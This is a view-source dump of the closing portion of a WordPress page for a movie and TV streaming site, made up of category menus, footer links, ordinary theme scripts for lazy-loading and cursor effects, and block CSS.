cat-item-107"><a href="https://fridaymasti.com/category/cartoon/">Cartoon</a> 900</li> 901 <li class="cat-item cat-item-124"><a href="https://fridaymasti.com/category/chorki/">Chorki</a> 902</li> 903 <li class="cat-item cat-item-154"><a href="https://fridaymasti.com/category/deepti-play/">Deepto Play</a> 904</li> 905 <li class="cat-item cat-item-95"><a href="https://fridaymasti.com/category/english-movies-dubbing-in-bengali/">English Movie ( Dubbed in Hindi )</a> 906</li> 907 <li class="cat-item cat-item-80"><a href="https://fridaymasti.com/category/hollywood/">English Movies</a> 908</li> 909 <li class="cat-item cat-item-155"><a href="https://fridaymasti.com/category/hindi-dubbed/">Hindi Dubbed</a> 910</li> 911 <li class="cat-item cat-item-122"><a href="https://fridaymasti.com/category/hindi-movies/">Hindi Movies</a> 912</li> 913 <li class="cat-item cat-item-151"><a href="https://fridaymasti.com/category/hindi-reality-show/">Hindi Reality Shows</a> 914</li> 915 <li class="cat-item cat-item-125"><a href="https://fridaymasti.com/category/hoichoi/">Hoichoi</a> 916</li> 917 <li class="cat-item cat-item-109"><a href="https://fridaymasti.com/category/hot-short-films-18/">Hot Short Films 18+</a> 918</li> 919 <li class="cat-item cat-item-156"><a href="https://fridaymasti.com/category/i-screen/">I-Screen</a> 920</li> 921 <li class="cat-item cat-item-139"><a href="https://fridaymasti.com/category/jio-cinema/">Jio Cinema</a> 922</li> 923 <li class="cat-item cat-item-149"><a href="https://fridaymasti.com/category/klikk/">Klikk</a> 924</li> 925 <li class="cat-item cat-item-100"><a href="https://fridaymasti.com/category/korean-bengali-dubbed-movies-and-series/">Korean Bengali Dubbed Movies and Series</a> 926</li> 927 <li class="cat-item cat-item-99"><a href="https://fridaymasti.com/category/korean-hindi-dubbed-movies-and-series/">Korean Hindi Dubbed Movies And Series</a> 928</li> 929 <li class="cat-item cat-item-126"><a href="https://fridaymasti.com/category/netflix/">Netflix</a> 930</li> 931 <li class="cat-item cat-item-86"><a href="https://fridaymasti.com/category/panjabi-movies/">Panjabi Movies</a> 932</li> 933 <li class="cat-item cat-item-130"><a href="https://fridaymasti.com/category/prime/">Prime Video</a> 934</li> 935 <li class="cat-item cat-item-144"><a href="https://fridaymasti.com/category/sony-liv/">Sony LIV</a> 936</li> 937 <li class="cat-item cat-item-97"><a href="https://fridaymasti.com/category/south-indian-movies-dubbing-in-bengali/">South Indian Movies ( Dubbing In Bengali )</a> 938</li> 939 <li class="cat-item cat-item-98"><a href="https://fridaymasti.com/category/south-indian-movies-dubbing-in-hindi/">South Indian Movies ( Dubbing In Hindi )</a> 940</li> 941 <li class="cat-item cat-item-143"><a href="https://fridaymasti.com/category/sony-aath/">Soy Aath</a> 942</li> 943 <li class="cat-item cat-item-140"><a href="https://fridaymasti.com/category/star-jalsha/">Star Jalsha</a> 944</li> 945 <li class="cat-item cat-item-85"><a href="https://fridaymasti.com/category/tamil-movies/">Tamil Movies</a> 946</li> 947 <li class="cat-item cat-item-110"><a href="https://fridaymasti.com/category/telugu-movies/">Telugu Movies</a> 948</li> 949 <li class="cat-item cat-item-121"><a href="https://fridaymasti.com/category/tranding-movies/">Tranding Movies</a> 950</li> 951 <li class="cat-item cat-item-111"><a href="https://fridaymasti.com/category/tv-shows-exclusive-updates/">TV Shows ( Exclusive Updates )</a> 952</li> 953 <li class="cat-item cat-item-134"><a href="https://fridaymasti.com/category/ullu/">Ullu</a> 954</li> 955 <li class="cat-item cat-item-108"><a href="https://fridaymasti.com/category/wwe-shows/">WWE Shows</a> 956</li> 957 <li class="cat-item cat-item-141"><a href="https://fridaymasti.com/category/zee-bangla/">Zee Bangla</a> 958</li> 959 <li class="cat-item cat-item-148"><a href="https://fridaymasti.com/category/zee5/">Zee5</a> 960</li> 961</ul></div></div> 962</div><div id="block-12" class="widget widget_block"> 963<div class="wp-block-group"><div class="wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained"> 964<h5 class="wp-block-heading">Tags</h5> 965 966 967</div></div> 968</div> </aside> 969 </div> 970 <div style="display:none;" id="css_prefix_loader-wheel-container" 971 class="loader-wheel-container " 972 data-total-pages="16" 973 data-post-type="post" 974 data-current-page="1" 975 data-per-page="" 976 data-post-id="" 977 data-extra-settings="[]"> 978 </div> 979 </div> 980 </div> 981 </main> 982 </div> 983 </div> 984 </div> 985 986 </div> 987 988 989 990<!-- diffrent footer or default footer --> 991 992 993<footer class="footer css_prefix-footer"> 994 995 <div class="footer-top"> 996 <div class="container-fluid"> 997 <div class="row gy-4"> 998 <div class="col-lg-4 col-sm-6"> 999 <div class="footer-divider widget-vertical widget widget_streamit_services_menu" id="streamit_services_menu-3"><h3 class="widget-title">Popular TV channels</h3><ul id="menu-popular-tv-channels" class="navbar-nav iq-main-menu"><li id="menu-item-4921" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4921"><a href="https://fridaymasti.com/category/star-jalsha/"><span class="css_prefix-menu-item-title">Star Jalsha</span></a></li> 1000<li id="menu-item-4922" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4922"><a href="https://fridaymasti.com/category/zee-bangla/"><span class="css_prefix-menu-item-title">Zee Bangla</span></a></li> 1001<li id="menu-item-4925" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4925"><a href="https://fridaymasti.com/category/colors-bangla/"><span class="css_prefix-menu-item-title">Colors Bangla</span></a></li> 1002<li id="menu-item-4923" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4923"><a href="https://fridaymasti.com/category/sony-aath/"><span class="css_prefix-menu-item-title">Soy Aath</span></a></li> 1003<li id="menu-item-4924" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4924"><a href="https://fridaymasti.com/category/sony-liv/"><span class="css_prefix-menu-item-title">Sony LIV</span></a></li> 1004</ul></div> </div> 1005 <div class="col-lg-2 col-sm-6"> 1006 <div class="footer-divider widget-vertical widget widget_streamit_services_menu" id="streamit_services_menu-4"><h3 class="widget-title">
1006Movies to watch</h3><ul id="menu-footer-movies-to-watch" class="navbar-nav iq-main-menu"><li id="menu-item-4470" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4470"><a href="https://fridaymasti.com/category/3d/"><span class="css_prefix-menu-item-title">3D</span></a></li> 1007<li id="menu-item-6419" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6419"><a href="https://fridaymasti.com/category/hindi-movies/"><span class="css_prefix-menu-item-title">Hindi Movies</span></a></li> 1008<li id="menu-item-6208" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6208"><a href="https://fridaymasti.com/category/hindi-dubbed/"><span class="css_prefix-menu-item-title">Hindi Dubbed</span></a></li> 1009<li id="menu-item-4472" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4472"><a href="https://fridaymasti.com/category/hollywood/"><span class="css_prefix-menu-item-title">English Movies</span></a></li> 1010<li id="menu-item-4473" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4473"><a href="https://fridaymasti.com/category/bengladesh-movies/"><span class="css_prefix-menu-item-title">Bengladesh Movies</span></a></li> 1011<li id="menu-item-4475" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4475"><a href="https://fridaymasti.com/category/bengali-movies/"><span class="css_prefix-menu-item-title">Bengali Movies</span></a></li> 1012<li id="menu-item-4476" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4476"><a href="https://fridaymasti.com/category/bengla-drama/"><span class="css_prefix-menu-item-title">Bengla Drama / Natok</span></a></li> 1013<li id="menu-item-4474" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4474"><a href="https://fridaymasti.com/category/bangla-dubbing/"><span class="css_prefix-menu-item-title">Bangla Dubbed</span></a></li> 1014<li id="menu-item-4477" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4477"><a href="https://fridaymasti.com/category/tamil-movies/"><span class="css_prefix-menu-item-title">Tamil Movies</span></a></li> 1015<li id="menu-item-4482" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4482"><a href="https://fridaymasti.com/category/telugu-movies/"><span class="css_prefix-menu-item-title">Telugu Movies</span></a></li> 1016<li id="menu-item-4487" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4487"><a href="https://fridaymasti.com/category/panjabi-movies/"><span class="css_prefix-menu-item-title">Panjabi Movies</span></a></li> 1017<li id="menu-item-4483" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4483"><a href="https://fridaymasti.com/category/bhojpuri-movies/"><span class="css_prefix-menu-item-title">Bhojpuri Movies</span></a></li> 1018<li id="menu-item-4484" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4484"><a href="https://fridaymasti.com/category/gujarat-movies/"><span class="css_prefix-menu-item-title">Gujarat Movies</span></a></li> 1019<li id="menu-item-4486" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4486"><a href="https://fridaymasti.com/category/nepali-movies/"><span class="css_prefix-menu-item-title">Nepali Movies</span></a></li> 1020<li id="menu-item-4488" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4488"><a href="https://fridaymasti.com/category/malayalam-movies/"><span class="css_prefix-menu-item-title">Malayalam Movies</span></a></li> 1021<li id="menu-item-4489" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4489"><a href="https://fridaymasti.com/category/hebrew-movies/"><span class="css_prefix-menu-item-title">Hebrew Movies</span></a></li> 1022<li id="menu-item-4490" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4490"><a href="https://fridaymasti.com/category/pakistan-movies/"><span class="css_prefix-menu-item-title">Pakistan Movies</span></a></li> 1023</ul></div> </div> 1024 <div class="col-lg-3 col-sm-6"> 1025 <div class="footer-divider widget-vertical widget widget_streamit_services_menu" id="streamit_services_menu-5"><h3 class="widget-title">Quick links</h3><ul id="menu-chouse-your-type" class="navbar-nav iq-main-menu"><li id="menu-item-4492" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4492"><a href="https://fridaymasti.com/category/hindi-movies-dubbing-in-bengali/"><span class="css_prefix-menu-item-title">Old Bengali Movies</span></a></li> 1026<li id="menu-item-7128" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7128"><a href="https://fridaymasti.com/category/old-hindi-movie/"><span class="css_prefix-menu-item-title">Old Hindi Movie</span></a></li> 1027<li id="menu-item-4491" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4491"><a href="https://fridaymasti.com/category/english-movies-dubbing-in-bengali/"><span class="css_prefix-menu-item-title">English Movie ( Dubbed in Hindi )</span></a></li> 1028<li id="menu-item-4493" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4493"><a href="https://fridaymasti.com/category/bengali-movies-dubbing-in-hindi/"><span class="css_prefix-menu-item-title">Bengali Movies ( Dubbing in Hindi )</span></a></li> 1029<li id="menu-item-4494" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4494"><a href="https://fridaymasti.com/category/south-indian-movies-dubbing-in-bengali/"><span class="css_prefix-menu-item-title">South Indian Movies ( Dubbing In Bengali )</span></a></li> 1030<li id="menu-item-4495" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4495"><a href="https://fridaymasti.com/category/south-indian-movies-dubbing-in-hindi/"><span class="css_prefix-menu-item-title">South Indian Movies ( Dubbing In Hindi )</span></a></li> 1031<li id="menu-item-4497" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4497"><a href="https://fridaymasti.com/category/korean-hindi-dubbed-movies-and-series/"><span class="css_prefix-menu-item-title">Korean Hindi Dubbed Movies And Series</span></a></li> 1032<li id="menu-item-4496" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4496"><a href="https://fridaymasti.com/category/korean-bengali-dubbed-movies-and-series/"><span class="css_prefix-menu-item-title">Korean Bengali Dubbed Movies and Series</span></a></li> 1033<li id="menu-item-4507" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4507"><a href="https://fridaymasti.com/category/bengali-reality-shows/"><span class="css_prefix-menu-item-title">Bengali Reality Shows</span></a></li> 1034<li id="menu-item-4508" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4508"><a href="https://fridaymasti.com/category/bengladesh-reality-shows/"><span class="css_prefix-menu-item-title">Bengladesh Reality Shows</span></a></li> 1035<li id="menu-item-4510" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4510"><a href="https://fridaymasti.com/category/sports/"><span class="css_prefix-menu-item-title">Sports</span></a></li> 1036<li id="menu-item-4509" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4509"><a href="https://fridaymasti.com/category/cartoon/"><span class="css_prefix-menu-item-title">Cartoon</span></a></li> 1037<li id="menu-item-4511" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4511"><a href="https://fridaymasti.com/category/wwe-shows/"><span class="css_prefix-menu-item-title">WWE Shows</span></a></li> 1038<li id="menu-item-4512" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4512"><a href="https://fridaymasti.com/category/hot-short-films-18/"><span class="css_prefix-menu-item-title">Hot Short Films 18+</span></a></li> 1039<li id="menu-item-4513" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4513"><a href="https://fridaymasti.com/category/tv-shows-exclusive-updates/"><span class="css_prefix-menu-item-title">TV Shows ( Exclusive Updates )</span></a></li> 1040<li id="menu-item-6048" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6048"><a href="https://fridaymasti.com/category/hindi-dubbed-hindi-english-movie-full-series/"><span class="css_prefix-menu-item-title">Hindi Dubbed Hindi English Movie – Full Series</span></a></li> 1041<li id="menu-item-6049" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6049"><a href="https://fridaymasti.com/category/hindi-reality-show-bengali-dubbed/"><span class="css_prefix-menu-item-title">Hindi Reality Show Bengali Dubbed</span></a></li> 1042<li id="menu-item-6050" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6050"><a href="https://fridaymasti.com/category/hindi-reality-show/"><span class="css_prefix-menu-item-title">Hindi Reality Shows</span></a></li> 1043<li id="menu-item-6498" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-6498"><a href="https://fridaymasti.com/download/"><span class="css_prefix-menu-item-title">Download</span></a></li> 1044</ul></div> </div> 1045 <div class="col-lg-3 col-sm-6"> 1046 <div class="footer-divider widget-vertical widget widget_streamit_services_menu" id="streamit_services_menu-6"><h3 class="widget-title">Popular websites</h3><ul id="menu-popular-web-series" class="navbar-nav iq-main-menu"><li id="menu-item-4906" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4906">
1046<a href="https://fridaymasti.com/category/chorki/"><span class="css_prefix-menu-item-title">Chorki</span></a></li> 1047<li id="menu-item-4907" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4907"><a href="https://fridaymasti.com/category/hoichoi/"><span class="css_prefix-menu-item-title">Hoichoi</span></a></li> 1048<li id="menu-item-4909" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4909"><a href="https://fridaymasti.com/category/netflix/"><span class="css_prefix-menu-item-title">Netflix</span></a></li> 1049<li id="menu-item-4910" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4910"><a href="https://fridaymasti.com/category/addatimes/"><span class="css_prefix-menu-item-title">Addatimes</span></a></li> 1050<li id="menu-item-4911" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4911"><a href="https://fridaymasti.com/category/friday/"><span class="css_prefix-menu-item-title">Fridaay</span></a></li> 1051<li id="menu-item-4912" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4912"><a href="https://fridaymasti.com/category/prime/"><span class="css_prefix-menu-item-title">Prime Video</span></a></li> 1052<li id="menu-item-4913" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4913"><a href="https://fridaymasti.com/category/bongo-bd/"><span class="css_prefix-menu-item-title">Bongo BD</span></a></li> 1053<li id="menu-item-4915" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4915"><a href="https://fridaymasti.com/category/binge/"><span class="css_prefix-menu-item-title">Binge</span></a></li> 1054<li id="menu-item-4916" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4916"><a href="https://fridaymasti.com/category/ullu/"><span class="css_prefix-menu-item-title">Ullu</span></a></li> 1055<li id="menu-item-4917" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4917"><a href="https://fridaymasti.com/category/hotstar/"><span class="css_prefix-menu-item-title">Hotstar</span></a></li> 1056<li id="menu-item-4920" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-4920"><a href="https://fridaymasti.com/category/jio-cinema/"><span class="css_prefix-menu-item-title">Jio Cinema</span></a></li> 1057<li id="menu-item-5640" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5640"><a href="https://fridaymasti.com/category/zee5/"><span class="css_prefix-menu-item-title">Zee5</span></a></li> 1058<li id="menu-item-6389" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6389"><a href="https://fridaymasti.com/category/deepti-play/"><span class="css_prefix-menu-item-title">Deepto Play</span></a></li> 1059<li id="menu-item-5643" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-5643"><a href="https://fridaymasti.com/category/klikk/"><span class="css_prefix-menu-item-title">Klikk</span></a></li> 1060<li id="menu-item-6412" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-6412"><a href="https://fridaymasti.com/category/i-screen/"><span class="css_prefix-menu-item-title">I-Screen</span></a></li> 1061<li id="menu-item-7129" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7129"><a href="https://fridaymasti.com/category/bioscope/"><span class="css_prefix-menu-item-title">Bioscope+</span></a></li> 1062<li id="menu-item-7130" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7130"><a href="https://fridaymasti.com/category/jio-hoster/"><span class="css_prefix-menu-item-title">Jio Hoster</span></a></li> 1063<li id="menu-item-7131" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-7131"><a href="https://fridaymasti.com/category/kuku-tv/"><span class="css_prefix-menu-item-title">Kuku Tv</span></a></li> 1064</ul></div> </div> 1065 </div> 1066 </div> 1067 </div> 1068 1069 <div class="copyright-footer"> 1070 <div class="container-fluid"> 1071 <div class="row align-items-center"> 1072 1073 <div class="col-md-6"> 1074 <div class="widget widget_block" id="block-20"><span class="font-size-14">© {{2026}} <a href="https://streamit-wordpress.iqonic.design">FRIDAYMASTI.</a> All Rights Reserved. All videos and shows on this platform are trademarks of, and all related images and content are the property of, Streamit Inc. Duplication and copy of this is strictly prohibited.</span></div> </div> 1075 <div class="col-md-6 mt-md-0 mt-5"> 1076 </div> 1077 1078 </div> 1079 </div> 1080 </div> 1081</footer> 1082 1083 1084<div class="streamit-mobile-footer-menu" 1085 aria-label="Mobile Footer Navigation"> 1086 1087 <!-- For Scroll Event --> 1088 <!-- <button class="left flex-shrink-0"><i class="icon-arrow-left"></i></button> --> 1089 1090 <!-- Scrollable container --> 1091 <!-- For Scroll Event --> 1092 <!-- <div class="custom-tab-slider footer-mobile-menu"> --> 1093 1094 <div class="footer-mobile-menu"> 1095 1096 <ul class="footer-menu list-inline"> 1097 <li class="footer-menu-item"> 1098 <a href="https://fridaymasti.com/movies/" class="menu-link">
1099 <span class="menu-icon"><i class="icon-movie"></i></span> 1100 <span class="menu-label">Movies</span> 1101 </a> 1102 </li> 1103 <li class="footer-menu-item"> 1104 <a href="https://fridaymasti.com/videos/" class="menu-link"> 1105 <span class="menu-icon"><i class="icon-video"></i></span> 1106 <span class="menu-label">Videos</span> 1107 </a> 1108 </li> 1109 <li class="footer-menu-item"> 1110 <a href="https://fridaymasti.com/?s=&ajax_search=true" class="menu-link"> 1111 <span class="menu-icon"><i class="icon-search-normal"></i></span> 1112 <span class="menu-label">Search</span> 1113 </a> 1114 </li> 1115 <li class="footer-menu-item"> 1116 <a href="https://fridaymasti.com/tvshows/" class="menu-link"> 1117 <span class="menu-icon"><i class="icon-tvshow"></i></span> 1118 <span class="menu-label">TV Shows</span> 1119 </a> 1120 </li> 1121 <li class="footer-menu-item"> 1122 <a href="https://fridaymasti.com/wp-login.php" class="menu-link"> 1123 <span class="menu-icon"><i class="icon-user"></i></span> 1124 <span class="menu-label">Login</span> 1125 </a> 1126 </li> 1127 </ul> 1128 </div> 1129 1130 <!-- Right Arrow --> 1131 <!-- <button class="right flex-shrink-0" aria-label="Scroll right"><i class="icon-arrow-right"></i></button> --> 1132</div> 1133<!-- do not remove this close div tag --> 1134</div> 1135 1136<!-- Back To Top Button --> 1137 <div id="back-to-top" class="css-prefix-top" style="display: none;"> 1138 <a class="top" id="top" href="#top"> 1139 <span class="icon-arrow-up"></span> 1140 </a> 1141 </div> 1142 1143
1144<script type="speculationrules"> 1145{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/streamit/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]} 1146</script>
1146 1147<div class="simple-banner simple-banner-text" style="display:none !important"></div>
1147<script> 1148 ; 1149 (function($, w) { 1150 'use strict'; 1151 let $window = $(w); 1152 1153 $(document).ready(function() { 1154 1155 let isEnable = ""; 1156 let isEnableLazyMove = ""; 1157 let speed = isEnableLazyMove ? '0.7' : '0.2'; 1158 1159 if( !isEnable ) { 1160 return; 1161 } 1162 1163 if (typeof haCursor == 'undefined' || haCursor == null) { 1164 initiateHaCursorObject(speed); 1165 } 1166 1167 setTimeout(function() { 1168 let targetCursor = $('.ha-cursor'); 1169 if (targetCursor) { 1170 if (!isEnable) { 1171 $('body').removeClass('hm-init-default-cursor-none'); 1172 $('.ha-cursor').addClass('ha-init-hide'); 1173 } else { 1174 $('body').addClass('hm-init-default-cursor-none'); 1175 $('.ha-cursor').removeClass('ha-init-hide'); 1176 } 1177 } 1178 }, 500); 1179 1180 }); 1181 1182 }(jQuery, window)); 1183 </script>
1183 1184 1185
1185<script> 1186 ( () => { 1187 const lazyloadRunObserver = () => { 1188 const lazyloadBackgrounds = document.querySelectorAll( `.e-con.e-parent:not(.e-lazyloaded)` ); 1189 const lazyloadBackgroundObserver = new IntersectionObserver( ( entries ) => { 1190 entries.forEach( ( entry ) => { 1191 if ( entry.isIntersecting ) { 1192 let lazyloadBackground = entry.target; 1193 if( lazyloadBackground ) { 1194 lazyloadBackground.classList.add( 'e-lazyloaded' ); 1195 } 1196 lazyloadBackgroundObserver.unobserve( entry.target ); 1197 } 1198 }); 1199 }, { rootMargin: '200px 0px 200px 0px' } ); 1200 lazyloadBackgrounds.forEach( ( lazyloadBackground ) => { 1201 lazyloadBackgroundObserver.observe( lazyloadBackground ); 1202 } ); 1203 }; 1204 const events = [ 1205 'DOMContentLoaded', 1206 'elementor/lazyload/observe', 1207 ]; 1208 events.forEach( ( event ) => { 1209 document.addEventListener( event, lazyloadRunObserver ); 1210 } ); 1211 } )(); 1212 </script>
1212 1213
1213<script> 1214 (function () { 1215 var c = document.body.className; 1216 c = c.replace(/woocommerce-no-js/, 'woocommerce-js'); 1217 document.body.className = c; 1218 })(); 1219 </script>
1219 1220 1221<div id="photoswipe-fullscreen-dialog" class="pswp" tabindex="-1" role="dialog" aria-modal="true" aria-hidden="true" aria-label="Full screen image"> 1222 <div class="pswp__bg"></div> 1223 <div class="pswp__scroll-wrap"> 1224 <div class="pswp__container"> 1225 <div class="pswp__item"></div> 1226 <div class="pswp__item"></div> 1227 <div class="pswp__item"></div> 1228 </div> 1229 <div class="pswp__ui pswp__ui--hidden"> 1230 <div class="pswp__top-bar"> 1231 <div class="pswp__counter"></div> 1232 <button class="pswp__button pswp__button--zoom" aria-label="Zoom in/out"></button> 1233 <button class="pswp__button pswp__button--fs" aria-label="Toggle fullscreen"></button> 1234 <button class="pswp__button pswp__button--share" aria-label="Share"></button> 1235 <button class="pswp__button pswp__button--close" aria-label="Close (Esc)"></button> 1236 <div class="pswp__preloader"> 1237 <div class="pswp__preloader__icn"> 1238 <div class="pswp__preloader__cut"> 1239 <div class="pswp__preloader__donut"></div> 1240 </div> 1241 </div> 1242 </div> 1243 </div> 1244 <div class="pswp__share-modal pswp__share-modal--hidden pswp__single-tap"> 1245 <div class="pswp__share-tooltip"></div> 1246 </div> 1247 <button class="pswp__button pswp__button--arrow--left" aria-label="Previous (arrow left)"></button> 1248 <button class="pswp__button pswp__button--arrow--right" aria-label="Next (arrow right)"></button> 1249 <div class="pswp__caption"> 1250 <div class="pswp__caption__center"></div> 1251 </div> 1252 </div> 1253 </div> 1254</div> 1255<style id="wp-block-heading-inline-css"> 1256h1:where(.wp-block-heading).has-background,h2:where(.wp-block-heading).has-background,h3:where(.wp-block-heading).has-background,h4:where(.wp-block-heading).has-background,h5:where(.wp-block-heading).has-background,h6:where(.wp-block-heading).has-background{padding:1.25em 2.375em}h1.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h1.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h2.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h2.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h3.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h3.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h4.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h4.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h5.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h5.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]),h6.has-text-align-left[style*=writing-mode]:where([style*=vertical-lr]),h6.has-text-align-right[style*=writing-mode]:where([style*=vertical-rl]){rotate:180deg} 1257/*# sourceURL=https://fridaymasti.com/wp-includes/blocks/heading/style.min.css */ 1258</style> 1259<style id="wp-block-paragraph-inline-css"> 1260.is-small-text{font-size:.875em}.is-regular-text{font-size:1em}.is-large-text{font-size:2.25em}.is-larger-text{font-size:3em}.has-drop-cap:not(:focus):first-letter{float:left;font-size:8.4em;font-style:normal;font-weight:100;line-height:.68;margin:.05em .1em 0 0;text-transform:uppercase}body.rtl .has-drop-cap:not(:focus):first-letter{float:none;margin-left:.1em}p.has-drop-cap.has-background{overflow:hidden}:root :where(p.has-background){padding:1.25em 2.375em}:where(p.has-text-color:not(.has-link-color)) a{color:inherit}p.has-text-align-left[style*="writing-mode:vertical-lr"],p.has-text-align-right[style*="writing-mode:vertical-rl"]{rotate:180deg} 1261/*# sourceURL=https://fridaymasti.com/wp-includes/blocks/paragraph/style.min.css */ 1262</style> 1263<style id="wp-block-media-text-inline-css"> 1264.wp-block-media-text{box-sizing:border-box;direction:ltr;display:grid;grid-template-columns:50% 1fr;grid-template-rows:auto}.wp-block-media-text.has-media-on-the-right{grid-template-columns:1fr 50%}.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-top>.wp-block-media-text__media{align-self:start}.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-center>.wp-block-media-text__media,.wp-block-media-text>.wp-block-media-text__content,.wp-block-media-text>.wp-block-media-text__media{align-self:center}
1264.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__content,.wp-block-media-text.is-vertically-aligned-bottom>.wp-block-media-text__media{align-self:end}.wp-block-media-text>.wp-block-media-text__media{grid-column:1;grid-row:1;margin:0}.wp-block-media-text>.wp-block-media-text__content{direction:ltr;grid-column:2;grid-row:1;padding:0 8%;word-break:break-word}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__media{grid-column:2;grid-row:1}.wp-block-media-text.has-media-on-the-right>.wp-block-media-text__content{grid-column:1;grid-row:1}.wp-block-media-text__media a{display:block}.wp-block-media-text__media img,.wp-block-media-text__media video{height:auto;max-width:unset;vertical-align:middle;width:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media{background-size:cover;height:100%;min-height:250px}.wp-block-media-text.is-image-fill>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill>.wp-block-media-text__media img{clip:rect(0,0,0,0);border:0;height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media{height:100%;min-height:250px;position:relative}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media>a{display:block;height:100%}.wp-block-media-text.is-image-fill-element>.wp-block-media-text__media img{height:100%;-o-object-fit:cover;object-fit:cover;position:absolute;width:100%}@media (max-width:600px){.wp-block-media-text.is-stacked-on-mobile{grid-template-columns:100%!important}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__media{grid-column:1;grid-row:1}.wp-block-media-text.is-stacked-on-mobile>.wp-block-media-text__content{grid-column:1;grid-row:2}} 1265/*# sourceURL=https://fridaymasti.com/wp-includes/blocks/media-text/style.min.css */ 1266</style> 1267<style id="wp-block-search-inline-css"> 1268.wp-block-search__button{margin-left:10px;word-break:normal}.wp-block-search__button.has-icon{line-height:0}.wp-block-search__button svg{fill:currentColor;height:1.25em;min-height:24px;min-width:24px;vertical-align:text-bottom;width:1.25em}:where(.wp-block-search__button){border:1px solid #ccc;padding:6px 10px}.wp-block-search__inside-wrapper{display:flex;flex:auto;flex-wrap:nowrap;max-width:100%}.wp-block-search__label{width:100%}.wp-block-search.wp-block-search__button-only .wp-block-search__button{box-sizing:border-box;display:flex;flex-shrink:0;justify-content:center;margin-left:0;max-width:100%}.wp-block-search.wp-block-search__button-only 